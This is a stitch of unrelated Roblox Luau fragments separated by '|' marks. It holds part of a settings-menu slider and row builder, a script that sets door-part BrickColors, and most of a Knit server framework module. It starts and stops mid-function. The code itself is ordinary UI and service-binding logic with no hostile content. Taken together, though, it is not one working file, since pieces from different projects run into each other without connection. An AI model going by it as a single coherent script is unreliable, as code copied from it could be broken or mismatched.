addHoverState(rightButton, rightButtonImage, onNormalButtonState, onHoverButtonState)
end
this.Steps = {}
local stepXSize = 35
if isSmallTouchScreen() then
stepXSize = 25
end
local stepXScale = 1 / steps
stepXSize = 0
for i = 1, steps do
local nextStep = Util.Create'ImageButton'
{
Name = "Step" .. tostring(i),
BackgroundColor3 = SELECTED_COLOR,
BackgroundTransparency = 0.36,
BorderSizePixel = 0,
AutoButtonColor = false,
Active = false,
AnchorPoint = Vector2.new(0, 0.5),
Position = UDim2.new((i - 1) * stepXScale, spacing / 2, 0.5, 0),
Size = UDim2.new(stepXScale,-spacing, 24 / 50, 0),
Image = "",
ZIndex = 3,
Selectable = false,
ImageTransparency = 0.36,
Parent = this.StepsContainer,
SelectionImageObject = noSelectionObject
};
if i > currentStep then
nextStep.BackgroundColor3 = NON_SELECTED_COLOR
end
if i == 1 or i == steps then
nextStep.BackgroundTransparency = 1
nextStep.ScaleType = Enum.ScaleType.Slice
nextStep.SliceCenter = Rect.new(3,3,32,21)
if i <= currentStep then
if i == 1 then
nextStep.Image = SELECTED_LEFT_IMAGE
else
nextStep.Image = SELECTED_RIGHT_IMAGE
end
else
if i == 1 then
nextStep.Image = NON_SELECTED_LEFT_IMAGE
else
nextStep.Image = NON_SELECTED_RIGHT_IMAGE
end
end
end
this.Steps[#this.Steps + 1] = nextStep
end
------------------- FUNCTIONS ---------------------
local function hideSelection()
for i = 1, steps do
this.Steps[i].BackgroundColor3 = NON_SELECTED_COLOR
if i == 1 then
this.Steps[i].Image = NON_SELECTED_LEFT_IMAGE
elseif i == steps then
this.Steps[i].Image = NON_SELECTED_RIGHT_IMAGE
end
end
end
local function showSelection()
for i = 1, steps do
if i > currentStep then break end
this.Steps[i].BackgroundColor3 = SELECTED_COLOR
if i == 1 then
this.Steps[i].Image = SELECTED_LEFT_IMAGE
elseif i == steps then
this.Steps[i].Image = SELECTED_RIGHT_IMAGE
end
end
end
local function modifySelection(alpha)
for i = 1, steps do
if i == 1 or i == steps then
this.Steps[i].ImageTransparency = alpha
else
this.Steps[i].BackgroundTransparency = alpha
end
end
end
local function setCurrentStep(newStepPosition)
if not minStep then minStep = 0 end
leftButton.Visible = true
rightButton.Visible = true
if newStepPosition <= minStep then
newStepPosition = minStep
leftButton.Visible = false
end
if newStepPosition >= steps then
newStepPosition = steps
rightButton.Visible = false
end
if currentStep == newStepPosition then return end
currentStep = newStepPosition
hideSelection()
showSelection()
timeAtLastInput = tick()
valueChangedEvent:Fire(currentStep)
end
local function isActivateEvent(inputObject)
if not inputObject then return false end
return inputObject.UserInputType == Enum.UserInputType.MouseButton1 or inputObject.UserInputType == Enum.UserInputType.Touch or (inputObject.UserInputType == Enum.UserInputType.Gamepad1 and inputObject.KeyCode == Enum.KeyCode.ButtonA)
end
local function mouseDownFunc(inputObject, newStepPos, repeatAction)
if not interactable then return end
if inputObject == nil then return end
if not isActivateEvent(inputObject) then return end
if usesSelectedObject() and not VRService.VREnabled then
GuiService.SelectedCoreObject = this.SliderFrame
end
if not VRService.VREnabled then
if repeatAction then
lastInputDirection = newStepPos - currentStep
else
lastInputDirection = 0
local mouseInputMovedCon = nil
local mouseInputEndedCon = nil
mouseInputMovedCon = UserInputService.InputChanged:Connect(function(inputObject)
if inputObject.UserInputType ~= Enum.UserInputType.MouseMovement then return end
local mousePos = inputObject.Position.X
for i = 1, steps do
local stepPosition = this.Steps[i].AbsolutePosition.X
local stepSize = this.Steps[i].AbsoluteSize.X
if mousePos >= stepPosition and mousePos <= stepPosition + stepSize then
setCurrentStep(i)
break
elseif i == 1 and mousePos < stepPosition then
setCurrentStep(0)
break
elseif i == steps and mousePos >= stepPosition then
setCurrentStep(i)
break
end
end
end)
mouseInputEndedCon = UserInputService.InputEnded:Connect(function(inputObject)
if not isActivateEvent(inputObject) then return end
lastInputDirection = 0
mouseInputEndedCon:Disconnect()
mouseInputMovedCon:Disconnect()
end)
end
else
lastInputDirection = 0
end
setCurrentStep(newStepPos)
end
local function mouseUpFunc(inputObject)
if not interactable then return end
if not isActivateEvent(inputObject) then return end
lastInputDirection = 0
end
local function touchClickFunc(inputObject, newStepPos, repeatAction)
mouseDownFunc(inputObject, newStepPos, repeatAction)
end
--------------------- PUBLIC FACING FUNCTIONS -----------------------
this.ValueChanged = valueChangedEvent.Event
function this:SetValue(newValue)
setCurrentStep(newValue)
end
function this:GetValue()
return currentStep
end
function this:SetInteractable(value)
lastInputDirection = 0
interactable = value
this.SliderFrame.Selectable = value
if not interactable then
hideSelection()
else
showSelection()
end
end
function this:SetZIndex(newZIndex)
leftButton.ZIndex = newZIndex
rightButton.ZIndex = newZIndex
leftButtonImage.ZIndex = newZIndex
rightButtonImage.ZIndex = newZIndex
for i = 1, #this.Steps do
this.Steps[i].ZIndex = newZIndex
end
end
function this:SetMinStep(newMinStep)
if newMinStep >= 0 and newMinStep <= steps then
minStep = newMinStep
end
if currentStep <= minStep then
currentStep = minStep
leftButton.Visible = false
end
if currentStep >= steps then
currentStep = steps
rightButton.Visible = false
end
end
--------------------- SETUP -----------------------
leftButton.InputBegan:Connect(function(inputObject) mouseDownFunc(inputObject, currentStep - 1, true) end)
leftButton.InputEnded:Connect(function(inputObject) mouseUpFunc(inputObject) end)
rightButton.InputBegan:Connect(function(inputObject) mouseDownFunc(inputObject, currentStep + 1, true) end)
rightButton.InputEnded:Connect(function(inputObject) mouseUpFunc(inputObject) end)
local function onVREnabled(prop)
if prop ~= "VREnabled" then
return
end
if VRService.VREnabled then
leftButton.Selectable = interactable
rightButton.Selectable = interactable
this.SliderFrame.Selectable = interactable
for i = 1, steps do
this.Steps[i].Selectable = interactable
this.Steps[i].Active = interactable
end
else
leftButton.Selectable = false
rightButton.Selectable = false
this.SliderFrame.Selectable = interactable
for i = 1, steps do
this.Steps[i].Selectable = false
this.Steps[i].Active = false
end
end
end
VRService.Changed:Connect(onVREnabled)
onVREnabled("VREnabled")
for i = 1, steps do
this.Steps[i].InputBegan:Connect(function(inputObject)
mouseDownFunc(inputObject, i)
end)
this.Steps[i].InputEnded:Connect(function(inputObject)
mouseUpFunc(inputObject) end)
end
this.SliderFrame.InputBegan:Connect(function(inputObject)
if VRService.VREnabled then
local selected = GuiService.SelectedCoreObject
if not selected or not selected:IsDescendantOf(this.SliderFrame.Parent) then return end
end
mouseDownFunc(inputObject, currentStep)
end)
this.SliderFrame.InputEnded:Connect(function(inputObject)
if VRService.VREnabled then
local selected = GuiService.SelectedCoreObject
if not selected or not selected:IsDescendantOf(this.SliderFrame.Parent) then return end
end
mouseUpFunc(inputObject)
end)
local stepSliderFunc = function()
if timeAtLastInput == nil then return end
local currentTime = tick()
local timeSinceLastInput = currentTime - timeAtLastInput
if timeSinceLastInput >= CONTROLLER_SCROLL_DELTA then
setCurrentStep(currentStep + lastInputDirection)
end
end
local isInTree = true
local navigateLeft = -1 --these are just for differentiation, the actual value isn't important as long as they coerce to boolean true (all numbers do in Lua)
local navigateRight = 1
local navigationKeyCodes = {
[Enum.KeyCode.Thumbstick1] = true, --thumbstick can be either direction
[Enum.KeyCode.DPadLeft] = navigateLeft,
[Enum.KeyCode.DPadRight] = navigateRight,
[Enum.KeyCode.Left] = navigateLeft,
[Enum.KeyCode.Right] = navigateRight,
[Enum.KeyCode.A] = navigateLeft,
[Enum.KeyCode.D] = navigateRight,
[Enum.KeyCode.ButtonA] = true --buttonA can be either direction
}
UserInputService.InputBegan:Connect(function(inputObject)
if not interactable then return end
if not isInTree then return end
if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 and inputObject.UserInputType ~= Enum.UserInputType.Keyboard then return end
local selected = GuiService.SelectedCoreObject
if not selected or not selected:IsDescendantOf(this.SliderFrame.Parent) then return end
if navigationKeyCodes[inputObject.KeyCode] == navigateLeft then
lastInputDirection = -1
setCurrentStep(currentStep - 1)
elseif navigationKeyCodes[inputObject.KeyCode] == navigateRight then
lastInputDirection = 1
setCurrentStep(currentStep + 1)
end
end)
UserInputService.InputEnded:Connect(function(inputObject)
if not interactable then return end
if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 and inputObject.UserInputType ~= Enum.UserInputType.Keyboard then return end
local selected = GuiService.SelectedCoreObject
if not selected or not selected:IsDescendantOf(this.SliderFrame.Parent) then return end
if navigationKeyCodes[inputObject.KeyCode] then --detect any keycode considered a navigation key
lastInputDirection = 0
end
end)
UserInputService.InputChanged:Connect(function(inputObject)
if not interactable then
lastInputDirection = 0
return
end
if not isInTree then
lastInputDirection = 0
return
end
if inputObject.UserInputType ~= Enum.UserInputType.Gamepad1 then return end
local selected = GuiService.SelectedCoreObject
if not selected or not selected:IsDescendantOf(this.SliderFrame.Parent) then return end
if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end
if inputObject.Position.X > CONTROLLER_THUMBSTICK_DEADZONE and inputObject.Delta.X > 0 and lastInputDirection ~= 1 then
lastInputDirection = 1
setCurrentStep(currentStep + 1)
elseif inputObject.Position.X < -CONTROLLER_THUMBSTICK_DEADZONE and inputObject.Delta.X < 0 and lastInputDirection ~= -1 then
lastInputDirection = -1
setCurrentStep(currentStep - 1)
elseif math.abs(inputObject.Position.X) < CONTROLLER_THUMBSTICK_DEADZONE then
lastInputDirection = 0
end
end)
local isBound = false
GuiService.Changed:Connect(function(prop)
if prop ~= "SelectedCoreObject" then return end
local selected = GuiService.SelectedCoreObject
local isThisSelected = selected and selected:IsDescendantOf(this.SliderFrame.Parent)
if isThisSelected then
modifySelection(0)
if not isBound then
isBound = true
timeAtLastInput = tick()
RunService:BindToRenderStep(renderStepBindName, Enum.RenderPriority.Input.Value + 1, stepSliderFunc)
end
else
modifySelection(0.36)
if isBound then
isBound = false
RunService:UnbindFromRenderStep(renderStepBindName)
end
end
end)
this.SliderFrame.AncestryChanged:Connect(function(child, parent)
isInTree = parent
end)
setCurrentStep(currentStep)
return this
end
local ROW_HEIGHT = 50
if isTenFootInterface() then ROW_HEIGHT = 90 end
local nextPosTable = {}
local function AddNewRow(pageToAddTo, rowDisplayName, selectionType, rowValues, rowDefault, extraSpacing)
local nextRowPositionY = 0
local isARealRow = selectionType ~= 'TextBox' -- Textboxes are constructed in this function - they don't have an associated class.
if nextPosTable[pageToAddTo] then
nextRowPositionY = nextPosTable[pageToAddTo]
end
local RowFrame = nil
RowFrame = Util.Create'ImageButton'
{
Name = rowDisplayName .. "Frame",
BackgroundTransparency = 1,
BorderSizePixel = 0,
Image = "rbxasset://textures/ui/VR/rectBackgroundWhite.png",
ScaleType = Enum.ScaleType.Slice,
SliceCenter = Rect.new(2, 2, 18, 18),
ImageTransparency = 1,
Active = false,
AutoButtonColor = false,
Size = UDim2.new(1,0,0,ROW_HEIGHT),
Position = UDim2.new(0,0,0,nextRowPositionY),
ZIndex = 2,
Selectable = false,
SelectionImageObject = noSelectionObject,
Parent = pageToAddTo.Page
};
RowFrame.ImageColor3 = RowFrame.BackgroundColor3
if RowFrame and extraSpacing then
RowFrame.Position = UDim2.new(RowFrame.Position.X.Scale,RowFrame.Position.X.Offset,
RowFrame.Position.Y.Scale,RowFrame.Position.Y.Offset + extraSpacing)
end
local RowLabel = nil
RowLabel = Util.Create'TextLabel'
{
Name = rowDisplayName .. "Label",
Text = rowDisplayName,
Font = Enum.Font.SourceSansBold,
TextSize = 16,
TextColor3 = Color3.fromRGB(255,255,255),
TextXAlignment = Enum.TextXAlignment.Left,
BackgroundTransparency = 1,
Size = UDim2.new(0,200,1,0),
Position = UDim2.new(0,10,0,0),
ZIndex = 2,
Parent = RowFrame
};
local RowLabelTextSizeConstraint = Instance.new("UITextSizeConstraint")
if FFlagUseNotificationsLocalization then
RowLabel.Size = UDim2.new(0.35,0,1,0)
RowLabel.TextScaled = true
RowLabel.TextWrapped = true
RowLabelTextSizeConstraint.Parent = RowLabel
RowLabelTextSizeConstraint.MaxTextSize = 16
end
if not isARealRow then
RowLabel.Text = ''
end
local function onResized(viewportSize, portrait)
if portrait then
RowLabel.TextSize = 16
else
RowLabel.TextSize = isTenFootInterface() and 36 or 24
end
RowLabelTextSizeConstraint.MaxTextSize = RowLabel.TextSize
end
onResized(getViewportSize(), isPortrait())
addOnResizedCallback(RowFrame, onResized)
local ValueChangerSelection = nil
local ValueChangerInstance = nil
if selectionType == "Slider" then
ValueChangerInstance = CreateNewSlider(rowValues, rowDefault)
ValueChangerInstance.SliderFrame.Parent = RowFrame
ValueChangerSelection = ValueChangerInstance.SliderFrame
elseif selectionType == "Selector" then
ValueChangerInstance = CreateSelector(rowValues, rowDefault)
ValueChangerInstance.SelectorFrame.Parent = RowFrame
ValueChangerSelection = ValueChangerInstance.SelectorFrame
elseif selectionType == "DropDown" then
ValueChangerInstance = CreateDropDown(rowValues, rowDefault, pageToAddTo.HubRef)
ValueChangerInstance.DropDownFrame.Parent = RowFrame
ValueChangerSelection = ValueChangerInstance.DropDownFrame
elseif selectionType == "TextBox" then
local isMouseOverRow = false
local forceReturnSelectionOnFocusLost = false
local SelectionOverrideObject = Util.Create'ImageLabel'
{
Image = "",
BackgroundTransparency = 1,
};
ValueChangerInstance = {}
ValueChangerInstance.HubRef = nil
local box = Util.Create'TextBox'
{
AnchorPoint = Vector2.new(1, 0.5),
Size = UDim2.new(0.6,0,1,0),
Position = UDim2.new(1,0,0.5,0),
Text = rowDisplayName,
TextColor3 = Color3.fromRGB(49, 49, 49),
BackgroundTransparency = 0.5,
BorderSizePixel = 0,
TextYAlignment = Enum.TextYAlignment.Top,
TextXAlignment = Enum.TextXAlignment.Left,
TextWrapped = true,
Font = Enum.Font.SourceSans,
TextSize = 24,
ZIndex = 2,
SelectionImageObject = SelectionOverrideObject,
ClearTextOnFocus = false,
Parent = RowFrame
};
ValueChangerSelection = box
box.Focused:Connect(function()
if usesSelectedObject() then
GuiService.SelectedCoreObject = box
end
if box.Text == rowDisplayName then
box.Text = ""
end
end)
box.FocusLost:Connect(function(enterPressed, inputObject)
forceReturnSelectionOnFocusLost = false
end)
if extraSpacing then
box.Position = UDim2.new(box.Position.X.Scale,box.Position.X.Offset,
box.Position.Y.Scale,box.Position.Y.Offset + extraSpacing)
end
ValueChangerSelection.SelectionGained:Connect(function()
if usesSelectedObject() then
box.BackgroundTransparency = 0.1
if ValueChangerInstance.HubRef then
ValueChangerInstance.HubRef:ScrollToFrame(ValueChangerSelection)
end
end
end)
ValueChangerSelection.SelectionLost:Connect(function()
if usesSelectedObject() then
box.BackgroundTransparency = 0.5
end
end)
local setRowSelection = function()
local fullscreenDropDown = CoreGui.RobloxGui:FindFirstChild("DropDownFullscreenFrame")
if fullscreenDropDown and fullscreenDropDown.Visible then return end
local valueFrame = ValueChangerSelection
if valueFrame and valueFrame.Visible and valueFrame.ZIndex > 1 and usesSelectedObject() and pageToAddTo.Active then
GuiService.SelectedCoreObject = valueFrame
isMouseOverRow = true
end
end
local function processInput(input)
if input.UserInputState == Enum.UserInputState.Begin then
if input.KeyCode == Enum.KeyCode.Return then
if GuiService.SelectedCoreObject == ValueChangerSelection then
forceReturnSelectionOnFocusLost = true
box:CaptureFocus()
end
end
end
end
box.MouseEnter:Connect(setRowSelection)
UserInputService.InputBegan:Connect(processInput)
elseif selectionType == "TextEntry" then
local isMouseOverRow = false
local forceReturnSelectionOnFocusLost = false
local SelectionOverrideObject = Util.Create'ImageLabel'
{
Image = "",
BackgroundTransparency = 1,
};
ValueChangerInstance = {}
ValueChangerInstance.HubRef = nil
local box = Util.Create'TextBox'
{
AnchorPoint = Vector2.new(1, 0.5),
Size = UDim2.new(0.4,-10,0,40),
Position = UDim2.new(1,0,0.5,0),
Text = rowDisplayName,
TextColor3 = Color3.fromRGB(178, 178, 178),
BackgroundTransparency = 1.0,
BorderSizePixel = 0,
TextYAlignment = Enum.TextYAlignment.Center,
TextXAlignment = Enum.TextXAlignment.Center,
TextWrapped = false,
Font = Enum.Font.SourceSans,
TextSize = 24,
ZIndex = 2,
SelectionImageObject = SelectionOverrideObject,
ClearTextOnFocus = false,
Parent = RowFrame
};
ValueChangerSelection = box
box.Focused:Connect(function()
if usesSelectedObject() then
GuiService.SelectedCoreObject = box
end
if box.Text == rowDisplayName then
box.Text = ""
end
end)
box.FocusLost:Connect(function(enterPressed, inputObject)
forceReturnSelectionOnFocusLost = false
end)
if extraSpacing then
box.Position = UDim2.new(box.Position.X.Scale,box.Position.X.Offset,
box.Position.Y.Scale,box.Position.Y.Offset + extraSpacing)
end
ValueChangerSelection.SelectionGained:Connect(function()
if usesSelectedObject() then
box.BackgroundTransparency = 0.8
if ValueChangerInstance.HubRef then
ValueChangerInstance.HubRef:ScrollToFrame(ValueChangerSelection)
end
end
end)
ValueChangerSelection.SelectionLost:Connect(function()
if usesSelectedObject() then
box.BackgroundTransparency = 1.0
end
end)
local setRowSelection = function()
local fullscreenDropDown = CoreGui.RobloxGui:FindFirstChild("DropDownFullscreenFrame")
if fullscreenDropDown and fullscreenDropDown.Visible then return end
local valueFrame = ValueChangerSelection
if valueFrame and valueFrame.Visible and valueFrame.ZIndex > 1 and usesSelectedObject() and pageToAddTo.Active then
GuiService.SelectedCoreObject = valueFrame
isMouseOverRow = true
end
end
local function processInput(input)
if input.UserInputState == Enum.UserInputState.Begin then
if input.KeyCode == Enum.KeyCode.Return then
if GuiService.SelectedCoreObject == ValueChangerSelection then
forceReturnSelectionOnFocusLost = true
box:CaptureFocus()
end
end
end
end
RowFrame.MouseEnter:Connect(setRowSelection)
function ValueChangerInstance:SetZIndex(newZIndex)
box.ZIndex = newZIndex
end
function ValueChangerInstance:SetInteractable(interactable)
box.Selectable = interactable
if not interactable then
box.TextColor3 = Color3.fromRGB(49,49,49)
box.ZIndex = 1
else
box.TextColor3 = Color3.fromRGB(178,178,178)
box.ZIndex = 2
end
end
function ValueChangerInstance:SetValue(value) -- should this do more?
box.Text = value
end
local valueChangedEvent = Instance.new("BindableEvent")
valueChangedEvent.Name = "ValueChanged"
box.FocusLost:Connect(function()
valueChangedEvent:Fire(box.Text)
end)
ValueChangerInstance.ValueChanged = valueChangedEvent.Event
UserInputService.InputBegan:Connect(processInput)
end
ValueChangerInstance.Name = rowDisplayName .. "ValueChanger"
nextRowPositionY = nextRowPositionY + ROW_HEIGHT
if extraSpacing then
nextRowPositionY = nextRowPositionY + extraSpacing
end
nextPosTable[pageToAddTo] = nextRowPositionY
if isARealRow then
local setRowSelection = function()
local fullscreenDropDown = CoreGui.RobloxGui:FindFirstChild("DropDownFullscreenFrame")
if fullscreenDropDown and fullscreenDropDown.Visible then return end
local valueFrame = ValueChangerInstance.SliderFrame
if not valueFrame then
valueFrame = ValueChangerInstance.SliderFrame
end
if not valueFrame then
valueFrame = ValueChangerInstance.DropDownFrame
end
if not valueFrame then
valueFrame = ValueChangerInstance.SelectorFrame
end
if valueFrame and valueFrame.Visible and valueFrame.ZIndex > 1 and usesSelectedObject() and pageToAddTo.Active then
GuiService.SelectedCoreObject = valueFrame
end
end
RowFrame.MouseEnter:Connect(setRowSelection)
--Could this be cleaned up even more?
local function onVREnabled(prop)
if prop == "VREnabled" then
if VRService.VREnabled then
RowFrame.Selectable = true
RowFrame.Active = true
ValueChangerSelection.Active = true
GuiService.Changed:Connect(function(prop)
if prop == "SelectedCoreObject" then
local selected = GuiService.SelectedCoreObject
if selected and (selected == RowFrame or selected:IsDescendantOf(RowFrame)) then
RowFrame.ImageTransparency = 0.5
RowFrame.BackgroundTransparency = 1
else
RowFrame.ImageTransparency = 1
RowFrame.BackgroundTransparency = 1
end
end
end)
else
RowFrame.Selectable = false
RowFrame.Active = false
end
end
end
VRService.Changed:Connect(onVREnabled)
onVREnabled("VREnabled")
ValueChangerSelection.SelectionGained:Connect(function()
if usesSelectedObject() then
if VRService.VREnabled then
RowFrame.ImageTransparency = 0.5
RowFrame.BackgroundTransparency = 1
else
RowFrame.ImageTransparency = 1
RowFrame.BackgroundTransparency = 0.5
end
if ValueChangerInstance.HubRef then
ValueChangerInstance.HubRef:ScrollToFrame(RowFrame)
end
end
end)
ValueChangerSelection.SelectionLost:Connect(function()
if usesSelectedObject() then
RowFrame.ImageTransparency = 1
RowFrame.BackgroundTransparency = 1
end
end)
end
pageToAddTo:AddRow(RowFrame, RowLabel, ValueChangerInstance, extraSpacing, false)
ValueChangerInstance.Selection = ValueChangerSelection
return RowFrame, RowLabel, ValueChangerInstance
end
local function AddNewRowObject(pageToAddTo, rowDisplayName, rowObject, extraSpacing)
local nextRowPositionY = 0
if nextPosTable[pageToAddTo] then
nextRowPositionY = nextPosTable[pageToAddTo]
end
local RowFrame = Util.Create'ImageButton'
{
Name = rowDisplayName .. "Frame",
BackgroundTransparency = 1,
BorderSizePixel = 0,
Image = "rbxasset://textures/ui/VR/rectBackgroundWhite.png",
ScaleType = Enum.ScaleType.Slice,
SliceCenter = Rect.new(10,10,10,10),
ImageTransparency = 1,
Active = false,
AutoButtonColor = false,
Size = UDim2.new(1,0,0,ROW_HEIGHT),
Position = UDim2.new(0,0,0,nextRowPositionY),
ZIndex = 2,
Selectable = false,
SelectionImageObject = noSelectionObject,
Parent = pageToAddTo.Page
};
RowFrame.ImageColor3 = RowFrame.BackgroundColor3
RowFrame.SelectionGained:Connect(function()
RowFrame.BackgroundTransparency = 0.5
end)
RowFrame.SelectionLost:Connect(function()
RowFrame.BackgroundTransparency = 1
end)
local RowLabel = Util.Create'TextLabel'
{
Name = rowDisplayName .. "Label",
Text = rowDisplayName,
Font = Enum.Font.SourceSansBold,
TextSize = 16,
TextColor3 = Color3.fromRGB(255,255,255),
TextXAlignment = Enum.TextXAlignment.Left,
BackgroundTransparency = 1,
Size = UDim2.new(0,200,1,0),
Position = UDim2.new(0,10,0,0),
ZIndex = 2,
Parent = RowFrame
};
local function onResized(viewportSize, portrait)
if portrait then
RowLabel.TextSize = 16
else
RowLabel.TextSize = isTenFootInterface() and 36 or 24
end
end
addOnResizedCallback(RowFrame, onResized)
if extraSpacing then
RowFrame.Position = UDim2.new(RowFrame.Position.X.Scale,RowFrame.Position.X.Offset,
RowFrame.Position.Y.Scale,RowFrame.Position.Y.Offset + extraSpacing)
end
nextRowPositionY = nextRowPositionY + ROW_HEIGHT
if extraSpacing then
nextRowPositionY = nextRowPositionY + extraSpacing
end
nextPosTable[pageToAddTo] = nextRowPositionY
local setRowSelection = function()
if RowFrame.Visible then
GuiService.SelectedCoreObject = RowFrame
end
end
RowFrame.MouseEnter:Connect(setRowSelection)
rowObject.SelectionImageObject = noSelectionObject
rowObject.SelectionGained:Connect(function()
if VRService.VREnabled then
RowFrame.ImageTransparency = 0.5
RowFrame.BackgroundTransparency = 1
else
RowFrame.ImageTransparency = 1
RowFrame.BackgroundTransparency = 0.5
end
end)
rowObject.SelectionLost:Connect(function()
RowFrame.ImageTransparency = 1
RowFrame.BackgroundTransparency = 1
end)
rowObject.Parent = RowFrame
pageToAddTo:AddRow(RowFrame, RowLabel, rowObject, extraSpacing, true)
return RowFrame
end
|
--------RIGHT DOOR 5--------
|
game.Workspace.doorright.l73.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(135)
game.Workspace.doorright.l11.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l12.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(102)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(102)
|
--[[
Knit.CreateService(service): Service
Knit.AddServices(folder): Service[]
Knit.AddServicesDeep(folder): Service[]
Knit.Start(): Promise<void>
Knit.OnStart(): Promise<void>
--]]
|
type ServiceDef = {
Name: string,
Client: {[any]: any}?,
[any]: any,
}
type Service = {
Name: string,
Client: ServiceClient,
_knit_is_service: boolean,
_knit_rf: {},
_knit_re: {},
_knit_rp: {},
_knit_rep_folder: Instance,
[any]: any,
}
type ServiceClient = {
Server: Service,
[any]: any,
}
local KnitServer = {}
KnitServer.Version = script.Parent.Version.Value
KnitServer.Services = {} :: {[string]: Service}
KnitServer.Util = script.Parent.Util
local knitRepServiceFolder = Instance.new("Folder")
knitRepServiceFolder.Name = "Services"
local Promise = require(KnitServer.Util.Promise)
local Signal = require(KnitServer.Util.Signal)
local Loader = require(KnitServer.Util.Loader)
local Ser = require(KnitServer.Util.Ser)
local RemoteSignal = require(KnitServer.Util.Remote.RemoteSignal)
local RemoteProperty = require(KnitServer.Util.Remote.RemoteProperty)
local TableUtil = require(KnitServer.Util.TableUtil)
local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")
local function CreateRepFolder(serviceName: string): Instance
local folder = Instance.new("Folder")
folder.Name = serviceName
return folder
end
local function GetFolderOrCreate(parent: Instance, name: string): Instance
local f = parent:FindFirstChild(name)
if not f then
f = Instance.new("Folder")
f.Name = name
f.Parent = parent
end
return f
end
local function AddToRepFolder(service: Service, remoteObj: Instance, folderOverride: string?)
if folderOverride then
remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, folderOverride)
elseif remoteObj:IsA("RemoteFunction") then
remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RF")
elseif remoteObj:IsA("RemoteEvent") then
remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RE")
elseif remoteObj:IsA("ValueBase") then
remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RP")
else
error("Invalid rep object: " .. remoteObj.ClassName)
end
if not service._knit_rep_folder.Parent then
service._knit_rep_folder.Parent = knitRepServiceFolder
end
end
local function DoesServiceExist(serviceName: string): boolean
local service: Service? = KnitServer.Services[serviceName]
return service ~= nil
end
function KnitServer.IsService(object: any): boolean
return type(object) == "table" and object._knit_is_service == true
end
function KnitServer.CreateService(serviceDef: ServiceDef): Service
assert(type(serviceDef) == "table", "Service must be a table; got " .. type(serviceDef))
assert(type(serviceDef.Name) == "string", "Service.Name must be a string; got " .. type(serviceDef.Name))
assert(#serviceDef.Name > 0, "Service.Name must be a non-empty string")
assert(not DoesServiceExist(serviceDef.Name), "Service \"" .. serviceDef.Name .. "\" already exists")
local service: Service = TableUtil.Assign(serviceDef, {
_knit_is_service = true;
_knit_rf = {};
_knit_re = {};
_knit_rp = {};
_knit_rep_folder = CreateRepFolder(serviceDef.Name);
})
if type(service.Client) ~= "table" then
service.Client = {Server = service}
else
if service.Client.Server ~= service then
service.Client.Server = service
end
end
KnitServer.Services[service.Name] = service
return service
end
function KnitServer.AddServices(folder: Instance): {any}
return Loader.LoadChildren(folder)
end
function KnitServer.AddServicesDeep(folder: Instance): {any}
return Loader.LoadDescendants(folder)
end
function KnitServer.GetService(serviceName: string): Service
assert(type(serviceName) == "string", "ServiceName must be a string; got " .. type(serviceName))
return assert(KnitServer.Services[serviceName], "Could not find service \"" .. serviceName .. "\"") :: Service
end
function KnitServer.BindRemoteEvent(service: Service, eventName: string, remoteEvent)
assert(service._knit_re[eventName] == nil, "RemoteEvent \"" .. eventName .. "\" already exists")
local re = remoteEvent._remote
re.Name = eventName
service._knit_re[eventName] = re
AddToRepFolder(service, re)
end
function KnitServer.BindRemoteFunction(service: Service, funcName: string, func: (ServiceClient, ...any) -> ...any)
assert(service._knit_rf[funcName] == nil, "RemoteFunction \"" .. funcName .. "\" already exists")
local rf = Instance.new("RemoteFunction")
rf.Name = funcName
service._knit_rf[funcName] = rf
AddToRepFolder(service, rf)
rf.OnServerInvoke = function(...)
return Ser.SerializeArgsAndUnpack(func(service.Client, Ser.DeserializeArgsAndUnpack(...)))
end
end
function KnitServer.BindRemoteProperty(service: Service, propName: string, prop)
assert(service._knit_rp[propName] == nil, "RemoteProperty \"" .. propName .. "\" already exists")
prop._object.Name = propName
service._knit_rp[propName] = prop
AddToRepFolder(service, prop._object, "RP")
end
function KnitServer.Start()
if started then
return Promise.Reject("Knit already started")
end
started = true
local services = KnitServer.Services
return Promise.new(function(resolve)
-- Bind remotes:
for _,service in pairs(services) do
for k,v in pairs(service.Client) do
if type(v) == "function" then
KnitServer.BindRemoteFunction(service, k, v)
elseif RemoteSignal.Is(v) then
KnitServer.BindRemoteEvent(service, k, v)
elseif RemoteProperty.Is(v) then
KnitServer.BindRemoteProperty(service, k, v)
elseif Signal.Is(v) then
warn("Found Signal instead of RemoteSignal (Knit.Util.RemoteSignal). Please change to RemoteSignal. [" .. service.Name .. ".Client." .. k .. "]")
end
end
end
-- Init:
local promisesInitServices = {}
for _,service in pairs(services) do
if type(service.KnitInit) == "function" then
table.insert(promisesInitServices, Promise.new(function(r)
service:KnitInit()
r()
end))
end
end
resolve(Promise.All(promisesInitServices))
end):Then(function()
-- Start:
for _,service in pairs(services) do
if type(service.KnitStart) == "function" then
task.spawn(service.KnitStart, service)
end
end
startedComplete = true
onStartedComplete:Fire()
task.defer(function()
onStartedComplete:Destroy()
end)
-- Expose service remotes to everyone:
knitRepServiceFolder.Parent = script.Parent
end)
end
function KnitServer.OnStart()
if startedComplete then
